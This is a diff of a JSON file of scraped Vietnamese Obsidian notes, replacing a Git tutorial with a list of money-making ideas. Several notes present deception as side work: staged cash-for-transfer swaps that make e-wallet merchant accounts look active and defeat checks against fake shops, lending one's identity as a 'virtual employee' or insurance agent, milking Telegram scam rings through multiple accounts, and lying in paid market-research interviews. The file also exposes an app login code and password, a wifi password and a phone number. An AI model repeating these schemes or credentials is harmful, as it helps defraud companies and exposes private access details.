Tạo biến và dùng biến với (Dataview tập 1)", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Đổi tiền, chụp hình biển hiệu, dán mã QR", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Công việc thời vụ/Cộng tác viên cho nhân viên công ty/Đổi tiền, chụp hình biển hiệu, dán mã QR", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\r\n#tt/chưa-hoàn-thành\r\n#file/bài-học\r\n%%\r\nĐể tạo biến bạn chỉ cần dùng 2 dấu hai chấm là được. Ví dụ:\r\nbiến:: 123\r\nĐể lấy giá trị của biến bạn dùng =this.biến → `=this.biến`\r\nĐể lấy giá trị của biến nằm trong ghi chú khác, dùng =[[tên note]].biến\r\n# Bài tiếp theo : [[2.3 Truy vấn dữ liệu (Dataview tập 2)]] ➡️\r\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Làm ngoài đường]]\nHình thức:: [[Việc làm thời vụ, theo dự án]]\n\n- **Liên hệ:** 0777850094 - Lộc Nguyễn\n- **Tiền công:** 250k/4h\n## Dán mã QR\nVí dụ, các công ty trung gian thanh toán như Momo, VNPAY, ZaloPay, SmartPay cần người đi chào hàng và dán mã QR. Mình có thể đi một lần và dán tất cả các công ty này cùng lúc để nhận lương của các bên. \n\n## Đổi tiền\n- **Mô tả:** đi gặp người ngoài đường (xe ôm, cửa hàng, người đi bộ) đổi tiền (mình cầm tiền lẻ đưa người ta, người ta chuyển khoản lại cho mình, mệnh giá trên 20k, mỗi người 1 lần)\n- **Mục đích:** các ví điện tử (VD: Momo, VNPAY, Smartpay) cần các cửa hàng nhận sử dụng dịch vụ của mình để mở rộng thị trường. Các nhân viên kinh doanh của các công ty này được giao chỉ tiêu mỗi tháng phải thuyết phục được một số lượng cửa hàng (VD: 10 cửa hàng/tháng). Để đảm bảo là nhân viên không mở cửa hàng ảo thì đòi hỏi các tài khoản phải có giao dịch thực (VD: 10 giao dịch/tuần). Việc đổi tiền như này thực ra là để hệ thống ghi nhận là cửa hàng có giao dịch thực\n\nCó thể thay việc này bằng việc [[Quét mã chéo]]\n\n## Chụp hình biển hiệu (ảnh) \n- **Yêu cầu:** hình chụp cần rõ tên, địa chỉ. Thông tin gửi về có toạ độ vị trí. Khu vực rìa thành phố hoặc ở tỉnh: Củ Chi, Bình Chánh, Thủ Đức, Cần Giờ, Đồng Nai, Bình Dương\n- **Mục đích:** các ví điện tử (VD: Momo, VNPAY, Smartpay) cần các cửa hàng nhận sử dụng dịch vụ của mình để mở rộng thị trường. Các nhân viên kinh doanh của các công ty này được giao chỉ tiêu mỗi tháng phải thu thập thông tin các cửa hàng trên địa bàn hoạt động để lên chiến lược tiếp cận\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:27:00.000Z", "id": "7K" }, { - "Tiêu đề": "2.3 Truy vấn dữ liệu (Dataview tập 2)", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/2 Xây dựng dự án với plugin/2.3 Truy vấn dữ liệu (Dataview tập 2)", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Học làm đại lý bán bảo hiểm", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Công việc thời vụ/Học đại lý bán bảo hiểm/Học làm đại lý bán bảo hiểm", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\n#tt/chưa-hoàn-thành\n#file/bài-học\n%%\n[Basic Dataview Query Builder](https://s-blu.github.io/basic-dataview-query-builder/)\n\n\n> [!tip] Mẹo\n> Cộng đồng Obsidian có làm một vault chứa các truy vấn mẫu để bạn có thêm ý tưởng\n> ```button\n> name Tải vault Dataview mẫu\n> type link\n> action https://github.com/s-blu/obsidian_dataview_example_vault\n> color blue\n> ```\n> ^button-kfe1\n# Bài tiếp theo : [[2.4 Tạo mẫu ghi chú (Templater)]] ➡️\n\n![Quản lý ghi chú Obsidian bằng thuộc tính và mô tả](https://youtu.be/H4I3d_xpkAs?si=5FlChuOwnO96L7gj) ", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Sắp xếp theo lịch được cho trước]]\nHình thức:: [[Việc làm thời vụ, theo dự án]]\n\nMột buổi được tính là một buổi sáng hoặc chiều, 2-5 tiếng. Một ngày gồm 2 buổi sáng chiều.\n\n> [!attention] Chỉ được học ở một công ty. Khi muốn học ở công ty khác thì phải cắt code ở công ty cũ\n\n## Nếu chỉ học\nMỗi khoá học có 2 giai đoạn: học cơ bản và học sản phẩm. Học cơ bản thì phải đi học, chịu khó học để thi đậu ở Cục giám sát, và có điểm danh. Sau khi thi đậu thì học sản phẩm. Cái này thì học lúc nào cũng được, không cần phải thi.\n\n### Bảo Việt\n- **Số buổi phải dành thời gian:** 2.5 ngày học + 1 buổi thi + nửa buổi ôn thi ở nhà\n- **Lương:** Sinh từ năm 2001 trở đi thì được 900k, sinh trước năm 2000 thì được 2tr\n- **Địa điểm học:** 233 Đồng Khởi, Q1\n- **Điều kiện dự thi:** Phải thi thử đậu 10 lần thì mới được cho đi thi thật. Nếu làm nhanh thì cũng phải tốn 5 tiếng\n\n### Prudential \n> [!Attention] Đang ngừng tuyển\n> Lý do: chính sách của Bộ Tài chính thay đổi\n\n- **Số buổi phải dành thời gian:** 5 ngày học + 1 buổi thi\n- **Lương:** 2.5tr\n- **Địa điểm học:** \n- **Điều kiện:** Phải phỏng vấn xin việc và đậu thì mới được vào học. Cần cam kết làm đại lý ảo sau đó\n\n### [[Cathay]]\n- **Số buổi phải dành thời gian:** 3 buổi học + 1 buổi thi\n- **Lương:** 2tr4\n- **Địa điểm học:** Bình Thạnh\n- **Điều kiện:** Phải phỏng vấn xin việc và đậu\n\n## Nếu làm đại lý ảo sau đó\nĐại lý ảo tức là có đại lý thật đẩy doanh số cho. Hay nói cách khác thì bạn sẽ làm một danh tính khác của người làm thật trong công ty. Đây là một hình thức của [[Làm nhân viên ảo]]. Lương từ công ty sẽ trả cho trưởng nhóm. \n\nLàm đại lý ảo thì có bảo hiểm công ty mua cho (không phải bảo hiểm xã hội). Khi có đủ doanh số thì có được những quyền lợi khác.\n\n### Bảo Việt\n- **Lương chấm công:** không cần chấm công. Không có lương\n\n### Prudential\n- **Yêu cầu:** Phải lên công ty checkin bằng vân tay, xong muốn đi chỗ khác cũng dược, nhưng cần phải quay lại checkout. Checkout cách checkin tối thiểu 2 tiếng. Tháng đầu chấm công 5 ngày là được. Tháng thứ 2 mới bắt đầu chấm đủ 80% ngày đi làm, tức là 17 ngày/tháng.\n- **Lương chấm công:** ban đầu 4tr/tháng, sau 3 tháng thì có thể lên 5.6tr. \n\n### [[Cathay]]\n- **Yêu cầu:** Mỗi sáng t2 đến t6 từ 8h30 đến 11h có mặt trên công ty\n- **Lương chấm công:** 10tr/tháng.\n\n## Nơi thảo luận\n[Liên kết](https://discord.com/channels/898550123007709204/1255096567090643066/1255096567090643066)\n![](https://i.imgur.com/ekqUkPR.png)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-12T04:55:00.000Z", "id": "7L" }, { - "Tiêu đề": "2.4 Tạo mẫu ghi chú (Templater)", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/2 Xây dựng dự án với plugin/2.4 Tạo mẫu ghi chú (Templater)", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Thi chứng chỉ đại lý bảo hiểm", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Công việc thời vụ/Học đại lý bán bảo hiểm/Thi chứng chỉ đại lý bảo hiểm", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\n#tt/chưa-hoàn-thành\n#file/bài-học\n%%\n# Bài tiếp theo : [[]] ➡️\n\n> [!tip] Mẹo\n", + "Toàn bộ nội dung": "Điểm đậu: 30/40.\nThời gian làm: 60 phút. Làm chậm thì 30 phút là xong. Thuộc hết đề rồi thì chỉ 10 phút là xong.\n\n[Trang thi thử chính thức](https://olt-exam.mof.gov.vn/Portal.IU.Exam/DoTest.aspx?key=ktfmo)\n[Viện Phát triển Bảo hiểm Việt Nam](https://vidi-e.mof.gov.vn/index.html \"Trang chủ | VIDI\")\n## App thi thử: LotusLMS Learn\nhttps://bvl.lotuslms.com/student\n- Tên miền: bvl.lotuslms.com\n- Code: D100268647\n- Pass: 1900558899\n\nWifi:\n- BVNT-SG-TVV\n- Pass: `dlntsg@233`\n\nÝ nghĩa viết tắt\n- `bvl`: Bảo Việt Life\n- `dlntsg`: đại lý nhân thọ Sài Gòn", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-01T13:22:00.000Z", + "Ngày tạo": "2024-09-12T04:54:00.000Z", + "Ngày cập nhật": "2024-09-12T04:58:00.000Z", "id": "7M" }, { - "Tiêu đề": "2.9 Tìm hiểu tự do", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/2 Xây dựng dự án với plugin/2.9 Tìm hiểu tự do", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Làm nhân viên ảo", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Công việc thời vụ/Làm nhân viên ảo", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Hết phần này bạn có thể bắt đầu tìm hiểu tự do\r\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Thỉnh thoảng lên công ty]]\nHình thức:: [[Vị trí chính thức của một công ty]]\n\nNhân viên ảo tức là có nhân viên thật làm giùm. Nói cách khác bạn trở thành một danh tính khác của một nhân viên trong đó. Cần lưu ý là nếu có vấn đề gì thì bạn sẽ là người chịu trách nhiệm chính. Có thể nói số tiền bạn nhận là tiền để bạn làm hình nhân thế mạng cho người khác.\n\n- [[Cathay]]\n- [[VNPAY]]\n\nXem thêm:: [[Mẫu CV ảo]]\nXem thêm:: [[Đối với công ty, nhân viên có cộng tác viên riêng, nhân viên ảo, người đại diện nhóm, bán việc là những cái tên khác nhau cho cùng một thứ]] ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T09:59:00.000Z", "id": "7N" }, { - "Tiêu đề": "2.2 Gán biến", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/2 Xây dựng dự án với plugin/➕ Nhiệm vụ bổ trợ/2.2 Gán biến", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Lừa đảo hội lừa đảo", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Công việc thời vụ/Lừa đảo hội lừa đảo", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "x:: 5\n\n`=this`\n%%\n#tt/chưa-hoàn-thành\n#file/bài-học\n%%\n# Bài tiếp theo : [[2.2 Tạo biến và dùng biến với (Dataview tập 1)]] ➡️\n\n> [!tip] Mẹo\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Biết cách ẩn danh]]\nHình thức:: [[Việc làm thời vụ, theo dự án]]\n\nNhững hình thức lừa đảo trên telegram xưa giờ là không mới. Gần đây các tổ chức , cá nhân lừa đảo ấy lại ngày càng tinh vi hơn khi chịu chim mồi và trả thưởng rất cao cho những nhiệm vụ đơn giản như like video, chụp hình lại và gửi qua cho bên lừa đảo đó. Chỉ với 1 vài thông tin như họ tên, sđt, stk là chúng ta đã có thể nhận đc thù lao từ vài trăm nghìn, miễn sao đừng chuyển tiền qua cho họ là được. Việc con mồi ngày càng khôn, không chuyển tiền bậy bạ sẽ khiến bọn lừa đảo bớt lọng hành hơn. Vậy nên mình hoàn toàn có thể lập nhiều tài khoản để “tỉnh táo” một cách thụ động hoặc chủ động trước những thủ đoạn lừa đảo tinh vi này. \n\n[Bẫy \"chim mồi\" từ các hội nhóm lừa đảo trên Telegram | VTV24 - YouTube](https://www.youtube.com/watch?v=WKAoxhBAsfA)\n\n![Image](https://media.discordapp.net/attachments/1227113112273162290/1227113112495194112/Screenshot_20240409_090524_Telegram.jpg?ex=6673b024&is=66725ea4&hm=e71a1db9d0477b361fddf2396a3a9bdfee7d41fa96ec2141321b3a91d8c5b6c8&=&format=webp&width=455&height=437)\n![Image](https://media.discordapp.net/attachments/1227113112273162290/1227113112805703680/Screenshot_20240408_165218.jpg?ex=6673b024&is=66725ea4&hm=42718d7b0ae7812ec4cbaf6f06dc1395a6fb41ea238f3cefbf05f8616fafa27a&=&format=webp&width=227&height=216)\n![Image](https://media.discordapp.net/attachments/1227113112273162290/1227113113132994571/Screenshot_20240408_165333_Telegram.jpg?ex=6673b024&is=66725ea4&hm=1e685ded6b5c8eb0f6040c0792880abae1b62ba242d8d271c3366430e3114673&=&format=webp&width=227&height=216)\n\n[Tuyển dụng online lừa đảo người tìm việc - Kỳ 1: Mất hơn trăm triệu vẫn không có việc - Tuổi Trẻ Online](https://tuoitre.vn/tuyen-dung-online-lua-dao-nguoi-tim-viec-ky-1-mat-hon-tram-trieu-van-khong-co-viec-20230829101044997.htm)\n[Bẫy tuyển dụng online lừa đảo người tìm việc - Kỳ 2: Chiêu trò lừa đảo trên Telegram - Tuổi Trẻ Online](https://tuoitre.vn/bay-tuyen-dung-online-lua-dao-nguoi-tim-viec-ky-2-chieu-tro-lua-dao-tren-telegram-2023083010523942.htm)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-02T12:41:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T13:08:00.000Z", "id": "7O" }, { - "Tiêu đề": "2.3 Dùng Project", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/2 Xây dựng dự án với plugin/➕ Nhiệm vụ bổ trợ/2.3 Dùng Project", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Săn khảo sát, phỏng vấn người dùng", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Công việc thời vụ/Săn khảo sát, phỏng vấn người dùng", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Như trưa nay cho ý kiến đóng góp TVC quảng cáo về thương hiệu Panasonic \r\nNgồi trả lời phỏng vấn tầm 1 tiếng là nhận ngay 300k á\r\nTương tự nhiều cái giống v, một buổi tầm 1 tiếng rưỡi đến max 2 tiếng là được 250 đến 3, 400k \r\nCó mấy cái điều kiện hiếm hơn thì 800k 1tr chẳng hạn\r\nNhư em đăng kí đi cái này. Ko có mấy ng mua đá tự nhiên, em có mua thì em đi được\r\nJob này chỉ cần xạo xạo, có vốn từ vựng tiếng Việt nhất định để chém gió là ok hết\r\nVui vẻ thoải mái, có quà bánh ăn trong lúc phỏng vấn \r\nEm thấy ok phù hợp với mấy ng như em chưa đủ năng lực để đi làm gì nghiêm túc hoặc điều kiện sức khoẻ quá tệ. \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "7P" }, { - "Tiêu đề": "Dùng Database folder", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/2 Xây dựng dự án với plugin/➕ Nhiệm vụ bổ trợ/Dùng Database folder", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Gom lịch vào Google Calendar", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Gia công giải pháp/Gom lịch vào Google Calendar", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Quản lý tài sản\r\n[[📖 Nguyên tắc quản lý rủi ro]]\r\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Biết lập trình]]\nHình thức:: [[Gia công giải pháp]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "7Q" }, { - "Tiêu đề": "4 Du hành thời gian với Git", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/4 Du hành thời gian với Git/4 Du hành thời gian với Git", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Kết nối nhu cầu di chuyển của người khuyết tật", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Gia công giải pháp/Kết nối nhu cầu di chuyển của người khuyết tật", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Git là gì?\r\n![1.1: Introduction - Git and GitHub for Poets - YouTube](https://www.youtube.com/watch?v=BCQHnlnPusY&list=PLRqwX-V7Uu6ZF9C0YMKuns9sLDzK6zoiV) \r\n![](https://www.youtube.com/watch?v=mJ-qvsxPHpY) \r\n\r\n![](https://explainxkcd.com/wiki/images/4/4d/git.png)\r\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Biết lập trình]]\nHình thức:: [[Gia công giải pháp]]\n\n## Mô tả chung\nNhu cầu: người khuyết tật khi có nhu cầu di chuyển chi phí tốn kém\nGiải pháp: viết app kết nối họ và người sẵn sàng hỗ trợ, tương tự như Grab\n\n### Câu hỏi\n#### Câu hỏi về chiến lược\n- Tại sao đối tượng thụ hưởng lại là nkt mà không phải cái khác? \n\t- Vì nhà đầu tư tiếp xúc với họ nhiều hơn \n- Tại sao lại là về hỗ trợ di chuyển cho họ mà không phải là cái khác?\n\t- ❓Vì đây là nhu cầu họ cần nhất\n- Tại sao không dành nguồn lực để vận động chính sách cho việc cải thiện dịch vụ công cho họ?\n\t- Không đủ nguồn lực vận động chính sách\n- Khả năng điều phối hiện nay là thế nào? Vì sao phải cần tới app mà không thuê một người để điều phối thủ công?\n- Có những loại xe máy 3 bánh được thiết kế cho người khuyết tật, sao họ không mua về dùng?\n- Viết xong rồi thì sẽ duy trì việc vận hành nó thế nào?\n\n#### Câu hỏi về sản phẩm\n- Khác gì với WeShare? Khác gì Dichung?\n- Có cần làm app cho đt ko hay làm web app là được?\n- Có cần phải có bản đồ không hay có thể mặc định là người dùng chỉ cần đọc địa chỉ là đã biết là mình có thể đến được rồi?\n\t- ❓Người ở trọ mới lên HN \n\n#### Câu hỏi về hành vi người dùng\n- Tài xế có lý do gì để mở app để đón khách?\n- Nếu trên bản đồ có nhiều người cùng thể hiện sẵn sàng giúp đỡ thì họ có [[Hiện tượng khuếch tán trách nhiệm, người ngoài đứng nhìn]] không?\n\n## Yêu cầu\n### Yêu cầu chức năng\n- Có bản đồ thể hiện vị trí các bên\n- Cập nhật thời gian thực\n- Có tài khoản cho người khuyết tật và tài khoản cho tài xế:\n - Tài khoản cho người khuyết tật:\n - Thông tin cá nhân\n - Loại phương tiện phù hợp cho loại khuyết tật của mình\n - Đặt chuyến:\n - Xác định điểm đi, điểm đến\n - Thời gian chờ trước khi huỷ\n - Tài khoản cho tài xế:\n - Thông tin cá nhân\n - Loại phương tiện mình có\n - Nhận chuyến:\n - Điểm đi, điểm đến của khách\n - Xác nhận chuyến\n- Thông báo:\n - Với tài khoản người dùng:\n - Có tài xế nhận chở \n - Tài xế huỷ chuyến\n - Với tài khoản tài xế:\n - Có người cần chở\n - Người dùng huỷ chuyến\n\n### Yêu cầu phi chức năng\nThời gian khởi động dưới 5s\n\n## Nhân sự \n- Lộc: viết chính\n- Nhật: hướng dẫn lập trình và kiểm tra code của Lộc, nhận yêu cầu và tư vấn giải pháp cho anh Lâm\n\n## Thời gian hoàn thành và giá\n Thời gian hoàn thành dự kiến (giả sử ngày làm 10 tiếng): \n - Cho toàn bộ dự án (top-down): 5 tuần\n - Cho từng chức năng (bottom-up): 1 tuần nếu chưa có sẵn kiến thức về chức năng đó, 2 ngày nếu đã có sẵn kiến thức\n \n Giá: 80k/h\n [[90% lượng code ban đầu tốn 90% thời gian lập trình. 10% lượng code còn lại tốn thêm 90% thời gian lập trình]]\n [[Điều nhà đầu tư quan tâm và điều muốn nhà đầu tư quan tâm]]\n [[Nếu bạn nghĩ rằng bạn có thể hoàn thành đúng kế hoạch, có thể bạn đang ngộ nhận]]\n \n## Nền tảng cần dùng\n### Cơ sở dữ liệu\n- Một graph database như Neo4j\n- Một hệ thống bản đồ:\n\n| Giải pháp gợi ý | Điểm mạnh | Giá |\n| --------------- | -------------------------------------------------------------- | ------------------------------------------ |\n| Google Map | Nhiều chức năng, dữ liệu phong phú và chính xác, cộng đồng lớn | Nếu dùng dưới $200/tháng thì được miễn phí |\n| Open Street Map | | Miễn phí |\n\n### Ngôn ngữ, framework\nNgôn ngữ TypeScript với runtime Deno là thích hợp nhất cho những app còn nhỏ. Nếu viết app mobile thì có thể dùng framework Capacitor để có thể viết một lần mà có cả app Android và iOS, nhưng như vậy thì có thể sẽ phải đổi runtime sang Node. \n\n### Máy chủ\nFirebase/Deno Deploy\n\n### Thiết bị\nNếu làm app cho iOS thì cần mở tài khoản Apple Development giá $99/năm\n\n## Thời hạn bảo hành phần mềm\nTuỳ vào loại vấn đề mà sẽ xem xét nó có phải là lỗi hay không. Nếu nó không phải là yêu cầu đã được thống nhất trước mà là tính năng mới thì tính phí theo giờ như bình thường.\n- Nếu lúc còn ít người dùng thì app không có vấn đề gì mà đến lúc người dùng tăng cao thì có vấn đề thì sẽ xét là một tính năng\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "7R" }, { - "Tiêu đề": "4.1 Khám phá cây lịch sử", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/4 Du hành thời gian với Git/4.1 Khám phá cây lịch sử", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Tạo báo cáo tiếp thị quản lý được theo từng cấp", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Gia công giải pháp/Tạo báo cáo tiếp thị quản lý được theo từng cấp", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Hình ảnh cây lịch sử của vault này\n![](https://i.imgur.com/qUIjny5.png)\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Biết lập trình]]\nHình thức:: [[Gia công giải pháp]]\n\nBiết được vì sao [[Web dev, GA, Ads, SEO, MMO]], [[📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Nghề nghiệp/Marketing|Marketing]] không ai quan tâm không?\n\nDữ liệu tạo ra từ Google Analytics có vấn đề gì mà ko dùng đc?\n\ncấp dưới, cấp dưới nữa không xem được \ntỉ lệ hoa hồng, chi phí setup như thế nào, xem báo cáo đấy\nlượt xem rất cao nhưng tỉ lệ chuyển đổi rất thấp, nên gần như là đốt tiền\n\nchecking theo thương hiệu khác, theo chỉ số khách\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-17T03:59:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "7S" }, { - "Tiêu đề": "4.2 Cài đặt Git và GitKraken", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/4 Du hành thời gian với Git/4.2 Cài đặt Git và GitKraken", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Viết plugin tích hợp vào các chương trình kế toán", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Gia công giải pháp/Viết plugin tích hợp vào các chương trình kế toán", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Mở GitKraken\r\n> [!Tip] PowerShell\r\n> `winget install git`\r\n\r\n# [[5.2 Tải mới toàn bộ kho dữ liệu (clone)]]➡️\r\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Biết lập trình]], [[Nắm được nhu cầu doanh nghiệp]]\nHình thức:: [[Gia công giải pháp]]\n\n![[Chương trình kế toán]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "7T" }, { - "Tiêu đề": "4.3 Lưu dữ liệu mới (commit)", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/4 Du hành thời gian với Git/4.3 Lưu dữ liệu mới (commit)", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Xây dựng hệ thống quản lý", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Gia công giải pháp/Xây dựng hệ thống quản lý", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Sau khi commit xong bạn sẽ di chuyển lên trên cây lịch sử \r\n\r\n\r\n\r\n> [!Tip] Terminal\r\n> git pull\r\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Biết lập trình]]\nHình thức:: [[Gia công giải pháp]]\n\nLấy role `dev for hire` trong cộng đồng Obsidian: [Discord](https://discord.com/channels/686053708261228577/840286264964022302/860627666100551721)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-06T09:09:00.000Z", + "Ngày tạo": "2024-08-16T04:52:00.000Z", + "Ngày cập nhật": "2024-08-30T07:06:00.000Z", "id": "7U" }, { - "Tiêu đề": "4.4 Mở dữ liệu cũ (checkout)", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/4 Du hành thời gian với Git/4.4 Mở dữ liệu cũ (checkout)", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Buôn bán nhỏ", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Tự kinh doanh, đầu tư/Buôn bán nhỏ", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "%%\r\nTrạng thái:: Chưa hoàn thành\r\n%%\r\n# Bài tiếp theo : [[4.5 Tạo nhánh (branch)]] ➡️\r\n\r\n> [!tip] Mẹo\r\n", + "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Vốn]]\r\nYêu cầu đầu 